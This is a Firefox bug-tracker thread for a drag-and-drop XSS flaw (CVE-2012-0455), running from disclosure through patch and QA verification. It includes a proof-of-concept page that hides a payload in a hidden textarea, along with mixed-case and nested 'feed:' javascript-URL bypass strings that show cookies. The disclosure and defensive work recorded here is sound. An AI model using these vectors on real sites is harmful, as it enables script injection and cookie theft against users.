Last Comment Bug 704354 - (CVE-2012-0455) "DragAndDropJacking" (?) + javAscript: URL = XSS
(CVE-2012-0455)
: "DragAndDropJacking" (?) + javAscript: URL = XSS
Status: VERIFIED FIXED
[sg:moderate][qa+][qa!:11][qa!:12]
: verified1.9.2
Product: Firefox
Classification: Client Software
Component: Tabbed Browser (show other bugs)
: 8 Branch
: All All
: -- normal with 2 votes (vote)
: Firefox 13
Assigned To: :Gavin Sharp [email: gavin@gavinsharp.com]
:
Mentors:
http://soroush.secproject.com/blog/20...
Depends on: 724161
Blocks:
  Show dependency treegraph
 
Reported: 2011-11-21 16:31 PST by Soroush Dalili
Modified: 2014-06-26 14:00 PDT (History)
23 users (show)
rforbes: sec‑bounty+
See Also:
Crash Signature:
(edit)
QA Whiteboard:
Iteration: ---
Points: ---
Has Regression Range: ---
Has STR: ---
+
wontfix
+
verified
verified
11+
verified
.28+
.28-fixed


Attachments
A sample HTML page to exploit the vulnerability. It can go to an Iframe. (6.21 KB, text/plain)
2011-11-21 16:31 PST, Soroush Dalili
no flags Details
A page with an Iframe to include the Target page. (438 bytes, text/plain)
2011-11-21 16:33 PST, Soroush Dalili
no flags Details
Simplified Version of target page (2.61 KB, text/plain)
2011-11-25 17:26 PST, Soroush Dalili
no flags Details
Simplified Version of host page (371 bytes, text/plain)
2011-11-25 17:27 PST, Soroush Dalili
no flags Details
1.9.2 patch for this bug only (2.29 KB, patch)
2012-03-04 19:46 PST, :Gavin Sharp [email: gavin@gavinsharp.com]
no flags Details | Diff | Review
simpler 1.9.2-only patch (2.21 KB, patch)
2012-03-05 15:37 PST, :Gavin Sharp [email: gavin@gavinsharp.com]
dolske: review+
lukasblakk+bugs: approval1.9.2.28+
Details | Diff | Review

Description Soroush Dalili 2011-11-21 16:31:06 PST
Created attachment 576026 [details]
A sample HTML page to exploit the vulnerability. It can go to an Iframe.

User Agent: Mozilla/5.0 (Windows NT 6.1; rv:8.0) Gecko/20100101 Firefox/8.0
Build ID: 20111104165243

Steps to reproduce:

It is possible to do Cross Domain Self XSS by using the:
1- HTML5 Drag and Drop feature that can lead to bypassing the cross domain policy.
2- Bypassing "javascript:" protocol protection by changing the characters' cases.
i.e. dragging and dropping "javascript:alert(1)" to a new tab does not work. However, dragging and dropping "jAvAscript:alert(1)" works successfully.

Now, if you can embed your malicious IFrame in another website such as Facebook, you can conduct a Cross Site Scripting against that website.

I have created a test case for you that the victim "soroush.secproject.com" can be exploited by "www.0me.me":
http://soroush.secproject.com/downloadable/demo/FF8.0.SelfXSSHost.html

I will attach both of "FF8.0.SelfXSSHost.html" and "FF8.0.SelfXSSTarget.html" to this issue as well.

I tried to create a real example to show how dangerous it can be. All the Javascripts are harmless and will only show you document.location+document.cookie.


Actual results:

It is possible to drag and drop a javascript (for example "JaVaScripT:alert(1)") to a HTML page that use HTML5 drag and drop feature to conduct XSS attack.
Now, if you put this HTML5 page in an Iframe, the malicious script can be run on the domain that include the Iframe.


Expected results:

First of all, "javascript:" protocol should be validated properly to not be run by upper-casing the characters as an example.

The script that is being dragged and dropped, should be run under the same domain (not any other domain).
Comment 1 Soroush Dalili 2011-11-21 16:33:24 PST
Created attachment 576027 [details]
A page with an Iframe to include the Target page.
Comment 2 Soroush Dalili 2011-11-21 16:37:40 PST
Please also let me know if it can be eligible for the bug bounty program.
Comment 3 Soroush Dalili 2011-11-21 16:41:32 PST
Comment on attachment 576026 [details]
A sample HTML page to exploit the vulnerability. It can go to an Iframe.

<html>
<head>
	<style>
		.magicselected{
		  text-decoration: none;
		  text-align: center;
		  color: red;
		  margin: 10px;
		  width: 500px;
		  border: 3px dashed #999;
		  background: #ffeedd;
		  padding: 10px;
		  display: block;
		}
		.informational {
		  text-decoration: none;
		  color: #000;
		  margin: 10px;
		  width: 500px;
		  border: 3px #999;
		  background: #eee;
		  padding: 10px;
		  display: block;
		}

		*[draggable=true] {
		  -moz-user-select:none;
		  -khtml-user-drag: element;
		  cursor: move;
		}

		*:-khtml-drag {
		  background-color: rgba(238,238,238, 0.5);
		}

		#bin {
		  background: url(http://mozcom-cdn.mozilla.net/img/covehead/firefox/main-feature-facebook.png) top right no-repeat;
		  height: 360px;
		  width: 500px;
		  float: left;
		  border: 5px dashed #000;
		  position: relative;
		  margin-top: 0;
		}

		#bin.over {
		  background: url(images/bin.jpg) top left no-repeat;
		}

		#bin p {
		  font-weight: bold;
		  text-align: center;
		  position: absolute;
		  bottom: 20px;
		  width: 166px;
		  font-size: 32px;
		  color: #fff;
		  text-shadow: #000 2px 2px 2px;
		}

	</style>
	<script>
		function disableSelection(element){
			target = document.getElementById(element);
			if (typeof target.onselectstart!="undefined") //IE route
				target.onselectstart=function(){return false}
			else if (typeof target.style.MozUserSelect!="undefined") //Firefox route
				target.style.MozUserSelect="none"
			else //All other route (ie: Opera)
				target.onmousedown=function(){return false}
			//target.style.cursor = "default"
		}

		function enableSelection(element){
			target = document.getElementById(element);
			if (typeof target.onselectstart!="undefined") //IE route
				target.onselectstart=function(){return true}
			else if (typeof target.style.MozUserSelect!="undefined") //Firefox route
				target.style.MozUserSelect=""
			else //All other route (ie: Opera)
				target.onmousedown=function(){return true}
			//target.style.cursor = "default"
		}
		function selectText(element) {
		var doc = document;
		var text = doc.getElementById(element);    
		if (doc.body.createTextRange) { // ms
			var range = doc.body.createTextRange();
			range.moveToElementText(text);
			range.select();
		} else if (window.getSelection) {
			var selection = window.getSelection();
			if (selection.setBaseAndExtent) { // webkit
				selection.setBaseAndExtent(text, 0, text, 1);
			} else { // moz, opera
				var range = doc.createRange();
				range.selectNodeContents(text);
				selection.removeAllRanges();
				selection.addRange(range);
				}
			}
		}
		
		LoadPage = function(){
			disableSelection('selectableDiv');
			disableSelection('informationalSpan');
			document.getElementById('currentURL').innerHTML = document.location;
		}
	</script>
</head>
<body onload="LoadPage()">
<pre>
Self XSS PoC on Mozilla Firefox 8.0
Author: By Soroush Dalili - SecProject.com - <a href="http://twitter.com/IRSDL">IRSDL in twitter</a> 
Details:
	1- Based on HTML5 Drag and Drop
	2- Using "jAvAscript:" instead of "javascript:" to bypass the protection
	3- Using hidden "textarea" technique to hide the malicious script during the selection
	4- Using some scripts to make it more feasible!
</pre>
This Page URL: <span id="currentURL"></span>
<hr/>
<span id="informationalSpan" class="informational" onclick="enableSelection('selectableDiv');selectText('selectableDiv');">
Select the following text and drag it to the magic box: </span>
<span class="magicselected" id="selectableDiv" onmousedown="selectText('selectableDiv');return true;" onclick="enableSelection('selectableDiv');selectText('selectableDiv');return false;disableSelection('selectableDiv');">
	<textarea style="visibility:hidden;width:1px;height:1px;" id="myinput" ondblclick="selectText('selectableDiv');return false;" onclick="selectText('selectableDiv');return false;" onmousedown="selectText('selectableDiv');return true;">jAvAscript:alert('Self XSS By Soroush Dalili - twitter.com\\IRSDL\nTop Page Location: '+document.location+'\nHost Page Cookies: '+document.cookie);//
	</textarea><b>>>>DRAG and DROP me to the blow box to see the magic!<<<</b>
</span>
<div id="bin">Magic Box</div>
 <script>
var addEvent = (function () {
  if (document.addEventListener) {
    return function (el, type, fn) {
      if (el && el.nodeName || el === window) {
        el.addEventListener(type, fn, false);
      } else if (el && el.length) {
        for (var i = 0; i < el.length; i++) {
          addEvent(el[i], type, fn);
        }
      }
    };
  } else {
    return function (el, type, fn) {
      if (el && el.nodeName || el === window) {
        el.attachEvent('on' + type, function () { return fn.call(el, window.event); });
      } else if (el && el.length) {
        for (var i = 0; i < el.length; i++) {
          addEvent(el[i], type, fn);
        }
      }
    };
  }
})();

  var mydivObj = document.createElement('mydiv');
  var msie = /*@cc_on!@*/0;
  mydivObj.style.opacity = 1;

  //var links = document.querySelectorAll('li > a'), el = null;
  //for (var i = 0; i < links.length; i++) {
    //el = links[i];
	el=document.getElementById('myinput');
    el.setAttribute('draggable', 'true');
  
    addEvent(el, 'dragstart', function (e) {
      e.dataTransfer.effectAllowed = 'copy'; // only dropEffect='copy' will be dropable
      e.dataTransfer.setData('Text', this.id); // required otherwise doesn't work
    });
  //}

 var bin = document.querySelector('#bin');

  addEvent(bin, 'dragover', function (e) {
    if (e.preventDefault) e.preventDefault(); // allows us to drop
    this.className = 'over';
    e.dataTransfer.dropEffect = 'copy';
    return false;
  });

  // to get IE to work
  addEvent(bin, 'dragenter', function (e) {
    this.className = 'over';
    return false;
  });

  addEvent(bin, 'dragleave', function () {
    this.className = '';
  });

  addEvent(bin, 'drop', function (e) {
    if (e.stopPropagation) e.stopPropagation(); // stops the browser from redirecting...why???
	document.getElementById('bin').innerHTML = 'Great! You have done that! Now please wait...'
    return false;
  });

 </script>
 
 </body>
 </html>
Comment 4 Soroush Dalili 2011-11-21 16:43:41 PST
Last comment was by mistake, I wanted to update the attachment. Please hide/remove it if it's possible.
Comment 5 Brandon Sterne (:bsterne) 2011-11-23 10:25:05 PST
I'm pretty sure this is a dupe of bug 605991.
Comment 6 Soroush Dalili 2011-11-23 12:09:33 PST
(In reply to Brandon Sterne (:bsterne) from comment #5)
> I'm pretty sure this is a dupe of bug 605991.
Their title are similar but their details are different:
1- there is no frame here
2- "javascript:" has been blocked by default which has been bypassed
3- I'm using one of the HTML5 examples and it wont work on the older browsers

The other bug is publicly available. if you still think they are the same, you can make this publicly available ;)
Comment 7 Soroush Dalili 2011-11-24 04:40:05 PST
I may publish this if I do not get a proper response till tomorrow night.
Comment 8 Soroush Dalili 2011-11-25 12:17:55 PST
I CCed Giorgio to see if NoScript can protect users from this attack.
Comment 9 Giorgio Maone [:mao] 2011-11-25 13:39:54 PST
Confirmed, made the summary slightly more descriptive, invited bzbarsky to the party.

@Soroush: could your POC be simplified in any way to be minimal (e.g. is @contenteditable=true on the frame really required)? Thanks.
Comment 10 Soroush Dalili 2011-11-25 14:25:49 PST
@Giorgio: your are right. It is not necessary; I c/p that Iframe from one of my other test cases to not rewrite it! we only need a Simple Iframe outside.

"Summary: Cross Domain Self XSS Vulnerability → "DragAndDropJacking" (?) + javAscript: URL = XSS"
I said it is cross domain, because the JavaScript will be executed on the top page on another domain (not the one which includes the JavaScript and you drag the text over it). However, it really depends how you will look at the issue.  

Moreover, I could hide the text that will be selected in a hidden textarea. It should not be selected but it will. Even if you copy/paste it, you can see it. I guess it is a minor issue, but it still helps a real attack.

I will attach a simplified version soon.
Comment 11 Soroush Dalili 2011-11-25 17:26:23 PST
Created attachment 577023 [details]
Simplified Version of target page
Comment 12 Soroush Dalili 2011-11-25 17:27:35 PST
Created attachment 577024 [details]
Simplified Version of host page
Comment 13 Giorgio Maone [:mao] 2011-11-27 14:52:25 PST
Experimental protection in NoScript 2.2.2rc4 from http://noscript.net/getit#devel

Please notice it's a beta. 
As I told you, stable/automatic update has to wait 1 week or more for AMO approval stamp, so please keep this embargoed until then, thanks.
Comment 14 Soroush Dalili 2011-12-01 05:29:43 PST
(In reply to Giorgio Maone from comment #13)
> Experimental protection in NoScript 2.2.2rc4 from
> http://noscript.net/getit#devel
> 
> Please notice it's a beta. 
> As I told you, stable/automatic update has to wait 1 week or more for AMO
> approval stamp, so please keep this embargoed until then, thanks.

It is still possible to bypass NoScript by selecting free spaces before the "jAvAScript:".
For example in HTML we can have:
&nbsp;jAvAscript:alert(1);
Or <br/><br/>jAvAscript:alert(1);
Comment 15 Giorgio Maone [:mao] 2011-12-01 07:16:36 PST
(In reply to Soroush Dalili from comment #14)

> It is still possible to bypass NoScript by selecting free spaces before the
> "jAvAScript:".
> For example in HTML we can have:
> &nbsp;jAvAscript:alert(1);
> Or <br/><br/>jAvAscript:alert(1);

Please check 2.2.2rc5 from http://noscript.net/getit#devel

BTW, did you check if your trick works with dataTransfer types other than "Text"?
Comment 16 Soroush Dalili 2011-12-02 08:08:54 PST
(In reply to Giorgio Maone from comment #15)
> Please check 2.2.2rc5 from http://noscript.net/getit#devel
> 
I still can bypass it by using the following vector: 

feed:jAvAscript:alert(1)

Actually "javascript:" protection of NoScript can be bypassed by using this vector generally via copy/paste as well.

> BTW, did you check if your trick works with dataTransfer types other than
> "Text"?

I am not sure about this. Could you please explain what do you mean? I think my PoC is based on a text.
Comment 17 Soroush Dalili 2011-12-02 08:37:47 PST
more vector(s):
"feed:feed:feed:javAscript:alert(1)"
"feed:javAscript:javAscript:feed:alert(1)"
"feed:feed:javAscript:javAscript:feed:alert(1)"
"   feed:feed:feed:javAscript:alert(1)"
"
    	
feed:feed:feed:javAscript:alert(1)"
Comment 18 Giorgio Maone [:mao] 2011-12-02 11:51:40 PST
(In reply to Soroush Dalili from comment #16)

Ouch, this feed: scheme is really a pain. Fortunately the fix is pretty trivial, but I wonder how many traps like that lie around.

> Actually "javascript:" protection of NoScript can be bypassed by using this
> vector generally via copy/paste as well.

could you elaborate w/ more details? I'm not sure about what kind of protection NoScript is supposed to provide against "javascript:" copy & paste.
 
> > BTW, did you check if your trick works with dataTransfer types other than
> > "Text"?
> 
> I am not sure about this. Could you please explain what do you mean? I think
> my PoC is based on a text.

I mean, does it work for instance with type="text/html"?
Comment 19 Giorgio Maone [:mao] 2011-12-02 14:17:15 PST
Please check NoScript 2.2.3rc3 from http://noscript.net/getit#devel
Comment 20 Soroush Dalili 2011-12-03 17:22:15 PST
(In reply to Giorgio Maone from comment #18)

> Ouch, this feed: scheme is really a pain. Fortunately the fix is pretty
> trivial, but I wonder how many traps like that lie around.

I searched a little but at the end I think it is up to Mozilla to tell us about all the protocols that they use. I could not find anything interesting.

> could you elaborate w/ more details? I'm not sure about what kind of
> protection NoScript is supposed to provide against "javascript:" copy &
> paste.

I mean if someone copy/paste "feed:javascript:" into the Address Bar and hit enter, NoScript does not block it similar to "javascript:". It is also true for "feed:data:text/html,<script>alert('test3')</script><b>xx" as well.

> I mean, does it work for instance with type="text/html"?
I do not think it is going to work if I do not use "data" protocol. How can I try it without "data" protocol? I know there is a type attribute for "dataTransfer" but I am not sure how to try it for this purpose.

----
I am still wondering why there is not any official response from Mozilla that they have accepted the issue. As a result, I have to publish all of these as soon as NoScript can provide enough security.
Comment 21 Giorgio Maone [:mao] 2011-12-03 17:44:00 PST
(In reply to Soroush Dalili from comment #20)

> I mean if someone copy/paste "feed:javascript:" into the Address Bar and hit
> enter, NoScript does not block it similar to "javascript:". It is also true
> for "feed:data:text/html,<script>alert('test3')</script><b>xx" as well.

While the data: URI works (albeit tied to an unique origin, hence practically innocuous), I did not manage to make feed:javascript: execute, at least on Fx 8.
 
> > I mean, does it work for instance with type="text/html"?
> I do not think it is going to work if I do not use "data" protocol. How can
> I try it without "data" protocol?

It's not important anymore, as the latest version of my work-around is triggered by the attempted load, rather than by the drop event, hence it always see pre-processed URIs independently from the transfer details.


> I am still wondering why there is not any official response from Mozilla

CCing dveditz who may give you an answer.

> As a result, I have to publish all of
> these as soon as NoScript can provide enough security.

Do you think NoScript 2.2.3rc4 is good enough? 
If so, I'm gonna submit it to AMO as 2.2.3 stable and ask for fast-track approval.
Comment 22 Soroush Dalili 2011-12-03 17:51:53 PST
(In reply to Giorgio Maone from comment #21)
Awesome. Good job Giorgio.

> Do you think NoScript 2.2.3rc4 is good enough? 
> If so, I'm gonna submit it to AMO as 2.2.3 stable and ask for fast-track
> approval.
I am still not able to bypass it with my current testcases. I will ask Mario and Gareth to have a quick think about it.
Comment 23 Shlomi Narkolayev 2011-12-04 02:33:58 PST
Seems like this attack will work only on website that allows posting Iframes in it (e.g. Facebook).
Comment 24 Soroush Dalili 2011-12-05 12:28:42 PST
(In reply to Shlomi Narkolayev from comment #23)
> Seems like this attack will work only on website that allows posting Iframes
> in it (e.g. Facebook).

You are right about the PoC and what I can currently do with it. However, it contains several issues which can lead to other exploits. (For instance, if you manage to drag/drop a Javascript into Chrome:// protocol, you can execute commands on the system)
Comment 25 Shlomi Narkolayev 2011-12-06 00:40:27 PST
Sounds interesting.
Who will be the "host" in this case? Can you write a PoC?
Comment 26 Soroush Dalili 2011-12-07 15:34:40 PST
(In reply to Giorgio Maone from comment #21)
> Do you think NoScript 2.2.3rc4 is good enough? 
> If so, I'm gonna submit it to AMO as 2.2.3 stable and ask for fast-track
> approval.

I asked Mario and Gareth and they said it seems fine. Gareth was worry about the new entities such as "javascript&colon0x00;alert(1) // 0x00 == null obviously".; I could not bypass the protection by using this however. 
I think we can go for the stable version then.
Thanks again for providing security to Firefox. I'll publish it after you release the stable version.
Comment 27 Giorgio Maone [:mao] 2011-12-07 15:50:32 PST
(In reply to Soroush Dalili from comment #26)
> (In reply to Giorgio Maone from comment #21)
> > Do you think NoScript 2.2.3rc4 is good enough? 
> > If so, I'm gonna submit it to AMO as 2.2.3 stable and ask for fast-track
> > approval.
> 
> I asked Mario and Gareth and they said it seems fine.

Great, the update is out. Just please wait a couple of days, because AMO is suffering network outages which are slowing down the automatic deployment process. 

> Gareth was worry about
> the new entities such as "javascript&colon0x00;alert(1) // 0x00 == null
> obviously".;

As I said this fix operates on preprocessed URLs, hence it's not affected by HTML-level obfuscation.

The only component (unrelated to this bug) which might be affected is the XSS filter, but as far as I can tell that's covered by using Gecko's own parser to decode entities. Gareth, can you confirm that?
Comment 28 Daniel Veditz [:dveditz] 2011-12-07 17:34:41 PST
A fix isn't going to make Firefox 9 (already at final preview builds on the Beta channel), try for Fx10.
Comment 29 Gareth Heyes 2011-12-08 00:54:27 PST
> The only component (unrelated to this bug) which might be affected is the
> XSS filter, but as far as I can tell that's covered by using Gecko's own
> parser to decode entities. Gareth, can you confirm that?

The filter seems good although I've not done extensive testing. I think you probably fixed this with mario's entity vectors.
Comment 30 Giorgio Maone [:mao] 2011-12-08 01:04:31 PST
(In reply to Gareth Heyes from comment #29)
> > The only component (unrelated to this bug) which might be affected is the
> > XSS filter, but as far as I can tell that's covered by using Gecko's own
> > parser to decode entities. Gareth, can you confirm that?
> 
> The filter seems good although I've not done extensive testing. I think you
> probably fixed this with mario's entity vectors.

.mario's fix was about recursion order in general decoding, not an entity specific one. As I said, I use Gecko's parser for that so if it's an entity for Gecko, it's an entity for NoScript as well (I didn't add any new entity decoding code).
Comment 31 Gareth Heyes 2011-12-08 01:14:05 PST
> .mario's fix was about recursion order in general decoding, not an entity
> specific one. As I said, I use Gecko's parser for that so if it's an entity
> for Gecko, it's an entity for NoScript as well (I didn't add any new entity
> decoding code).

Ah ok well it seems good anyway, probably because you are using Gecko's parser, it understands the crazy stuff. I tried stuff like %26%23106%00avascript%26%00colon;location%26%00equals;top.name but it seemed good.
Comment 32 Soroush Dalili 2011-12-30 19:45:30 PST
Thanks guys, I have published the details:
http://soroush.secproject.com/downloadable/demo/FF_DragDrop_XSSHost_simp.html

I am not sure if Mozilla wants to fix or not.
Comment 33 Soroush Dalili 2011-12-31 11:52:57 PST
Another clarification:

Description:
 It is possible to bypass Mozilla Firefox (tested on version 8.x and 9.x) – Javascript Drag and Drop by using capitalization and Feed protocol, and run that JavaScript on the top page if you can include that malicious page in an IFrame. The "event.preventDefault()" method in "ondragover" event of the element is to block the natural function of the browser. Usually the malicious iframe should deceive the user to drag and drop a JS to the drop box which can be stealth in a hidden textarea.It is possible to bypass Mozilla Firefox (tested on version 8.x and 9.x) – Javascript Drag and Drop by using capitalization and Feed protocol, and to run that JavaScript on the top page if you can include the malicious page in an IFrame. The "event.preventDefault()" method in "ondragover" event of the element is to block the natural function of the browser. Usually the malicious IFrame should deceive the user to drag and drop a JS to the drop box which can be concealed in a hidden "Textarea" element.
 
 IFrame Code:

	<b>drag and drop one of the following strings to the drop box:</b>
	<br/><hr/>
	jAvascript:alert('Top Page Location: '+document.location+'\nHost Page Cookies: '+document.cookie);//
	<br/><hr/>
	feed:javascript:alert('Top Page Location: '+document.location+'\nHost Page Cookies: '+document.cookie);//
	<br/><hr/>
	feed:data:text/html,&#x3c;script>alert('Top Page Location: '+document.location+'\nHost Page Cookies: '+document.cookie)&#x3c;/script>&#x3c;b>
	<br/><hr/>
	feed:feed:javAscript:javAscript:feed:alert('Top Page Location: '+document.location+'\nHost Page Cookies: '+document.cookie);//
	<br/><hr/>
	<div id="dropbox" style="height: 360px;width: 500px;border: 5px solid #000;position: relative;" ondragover="event.preventDefault()">+ Drop Box +</div>
Comment 34 Alex Keybl [:akeybl] 2012-01-05 18:29:26 PST
Sending over to Dan to evaluate if this is still something we should try to get for Firefox 10. If so, I'd ask roc to find somebody to take a look (he's now CC'd).
Comment 35 Jesse Ruderman 2012-01-27 15:45:34 PST
Should this bug report be public, given that (some?) details are public?

http://soroush.secproject.com/blog/2011/12/drag-and-drop-xss-in-firefox-by-html5-cross-domain-in-frames/

https://secunia.com/advisories/47400/
Comment 36 Daniel Veditz [:dveditz] 2012-01-27 16:32:18 PST
The blog is probably a better URL
Comment 37 Daniel Veditz [:dveditz] 2012-01-27 17:26:12 PST
Is this the likely source of the problem?

http://hg.mozilla.org/mozilla-central/annotate/8a59519e137e/toolkit/content/widgets/browser.xml#l1307
Comment 39 Daniel Veditz [:dveditz] 2012-01-27 22:26:22 PST
NB: the naive fix of adding the 'i' flag thus
      /^\s*(javascript|data):/i.test(url))

is wrong, won't address the nested case (e.g. the feed:javascript examples) nor any future/add-on schemes. CheckLoadURI with the DISALLOW_INHERIT_PRINCIPAL flag is more what we want here (as used in the text.xml widget).
Comment 41 Daniel Veditz [:dveditz] 2012-01-27 22:59:13 PST
Firefox 3.6 is not affected by the PoC, but generically the protection of tabs/windows as drop targets for javascript: text links can be bypassed using the same capitalization trick.
Comment 42 :Gavin Sharp [email: gavin@gavinsharp.com] 2012-02-14 15:10:32 PST
The patch I just attached to bug 724161 fixes this, and includes tests.
Comment 43 :Gavin Sharp [email: gavin@gavinsharp.com] 2012-02-17 14:42:33 PST
https://hg.mozilla.org/integration/mozilla-inbound/rev/50aae34555bb
Comment 45 :Gavin Sharp [email: gavin@gavinsharp.com] 2012-02-21 10:23:48 PST
https://hg.mozilla.org/mozilla-central/rev/50aae34555bb
Comment 46 Alex Keybl [:akeybl] 2012-02-22 15:29:52 PST
Tracking here for the ESR - we'll want to land the patches in bug 718203 and bug 724161 on mozilla-esr10.
Comment 47 Lukas Blakk [:lsblakk] use ?needinfo 2012-02-23 16:46:37 PST
[Triage comment]

This bug is being tracked for landing on ESR branch.  Please land patches on http://hg.mozilla.org/releases/mozilla-esr10/by Thursday March 1, 2012 in order to be ready for go-to-build on Friday March 2, 2012.

See https://wiki.mozilla.org/Release_Management/ESR_Landing_Process for more information.
Comment 48 juan becerra [:juanb] 2012-02-28 16:46:22 PST
Verified on XP using latest Fx11b4(beta), Fx12(aurora), Fx13(nightly) using steps in comment #0. Prior to the fix you can see a dialog come up, as explained in comment #0. In fixed builds nothing happens.
Comment 49 :Gavin Sharp [email: gavin@gavinsharp.com] 2012-02-29 11:48:54 PST
https://hg.mozilla.org/releases/mozilla-esr10/rev/566be745f397
Comment 50 Daniel Veditz [:dveditz] 2012-03-01 16:56:06 PST
Since this landed in Fx11 we should also land a fix in 3.6.28

What's the likelihood of the patch in comment 49 applying?
Comment 51 :Gavin Sharp [email: gavin@gavinsharp.com] 2012-03-01 17:17:08 PST
It really doesn't (depends on bug 545714, which landed post-1.9.2).

I can work on an alternate fix, I guess... :(
Comment 52 Al Billings [:abillings] 2012-03-01 17:40:28 PST
Does this actually affect 1.9.2? The simplified testcase (the two files) doesn't seem to work on XP SP3 with 1.9.2.27.
Comment 53 :Gavin Sharp [email: gavin@gavinsharp.com] 2012-03-04 19:46:53 PST
Created attachment 602795 [details] [diff] [review]
1.9.2 patch for this bug only

We can't re-use the fix from bug 724161/bug 718203 on 1.9.2 because the code is quite different. The code still looks vulnerable, though.

Here's an alternate fix that's a little bit more isolated. nsContentAreaDragDrop is used for <browser> drops on 1.9.2, and it seems to be the only relevant use (aside from a caller in nsDocShellTreeOwner that relies on having an nsWebBrowser, which I think never happens in Firefox), so the behavior change of disallow javascript:/data: drops should be fine. For <tabbrowser>, I just fixed the regex check, because introducing a more robust nsIURI check doesn't seem worth it.

I could not get the tests to work on 1.9.2. The browser_tabDrop test fails because the drag-synthesize code on 1.9.2 doesn't properly create a drag session. The browser_browserDrop test is much more complicated to write because there is no easy droppedLinkHandler to hook into - we'd need to explicitly check page loads triggered by nsContentAreaDragDrop.
Comment 54 Anthony Hughes (:ashughes) [GFX][QA][Mentor] 2012-03-05 10:51:45 PST
I get the alert dialog appearing on the latest debug build of Firefox 10 ESR (2012-03-03). Comment 49 suggests this should be fixed. 

All I'm doing is following the testcase in comment 0. Is this not fixed?
Comment 55 :Gavin Sharp [email: gavin@gavinsharp.com] 2012-03-05 11:10:28 PST
Using the Mac build from http://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/latest-mozilla-esr10/ , I don't get an alert when loading http://soroush.secproject.com/downloadable/demo/FF8.0.SelfXSSHost.html and following the steps (drag text from the red box to the frame below). Which build are you testing exactly, on what platform?
Comment 56 Anthony Hughes (:ashughes) [GFX][QA][Mentor] 2012-03-05 12:28:52 PST
(In reply to Gavin Sharp (use gavin@gavinsharp.com for email) from comment #55)
> Using the Mac build from
> http://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/latest-mozilla-esr10/
> , I don't get an alert when loading
> http://soroush.secproject.com/downloadable/demo/FF8.0.SelfXSSHost.html and
> following the steps (drag text from the red box to the frame below). Which
> build are you testing exactly, on what platform?

I was using the debug build from:
ftp://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/2012-03-03-mozilla-esr10-debug

I confirm that using the release candidate does not display the alert. I guess I can call this verified based on that.
Comment 57 :Gavin Sharp [email: gavin@gavinsharp.com] 2012-03-05 15:37:17 PST
Created attachment 603081 [details] [diff] [review]
simpler 1.9.2-only patch

OK, this is a simpler patch that only touches the code that was original affected. Just makes the existing checks for javascript/data case-insensitive. There are a couple of followups that I'll file, but they apply to trunk equally:
- dragging from chrome text boxes isn't block, because of a checkLoadURI quirk (DISALLOW_INHERIT_PRINCIPAL doesn't kick in when the source principal is the system principal)
- the embedding code (not used in Firefox) is still vulnerable - it would be good to fix this just to be safe (I don't think anyone is using it)
Comment 58 :Gavin Sharp [email: gavin@gavinsharp.com] 2012-03-05 15:46:03 PST
STR that this patch fixes:
Case A:
1) Load data:text/plain,jAvAscript:alert(1)
2) Drag the text in the content area ("jAvAscript:alert(1)") to the current tab

Expected: no dialog appears
Actual: dialog appears showing "1"

Case B:
1) Enter "jAvascript:alert(1)" into the search bar
2) Drag the text from the search bar into the content area of the current tab

Expected: no dialog appears
Actual: dialog appears showing "1"

I'm not certain why the original test case doesn't work on 1.9.2.
Comment 59 :Gavin Sharp [email: gavin@gavinsharp.com] 2012-03-05 16:30:26 PST
https://hg.mozilla.org/releases/mozilla-1.9.2/rev/f66f339fd046
Comment 60 Anthony Hughes (:ashughes) [GFX][QA][Mentor] 2012-03-06 13:46:32 PST
Verified fixed in Firefox 3.6.28build1.
Comment 61 Al Billings [:abillings] 2012-04-02 16:46:14 PDT
Verified that this was fixed in trunk since no one else did.

Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:14.0) Gecko/20120402 Firefox/14.0a1
Comment 62 Raymond Forbes[:rforbes] 2013-07-19 18:29:13 PDT
rforbes-bugspam-for-setting-that-bounty-flag-20130719

Note You need to log in before you can comment on or make changes to this bug.